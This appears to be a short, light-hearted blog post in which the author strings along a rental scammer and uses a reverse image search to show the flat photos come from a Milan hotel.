Have fun with scammers

A couple of days ago i've received this e-mail: After reading it i decided to go on and have some fun with him so i've replied and after one day i get the response. To convince me he attached four pictures regarding the flat. Here is the living room and my future bedroom.               Anyone can see that this picture is from a five stars hotel but to be really sure i used google search by image and what i found ? that these images are from an hotel in the center of Milan. Things are getting interesting so i decided to know how can i get this awesome flat. His response. Now it's time to send him my personal information in a pdf. After this e-mail i haven't got any response, maybe he is angry with me but i don't know why :(.
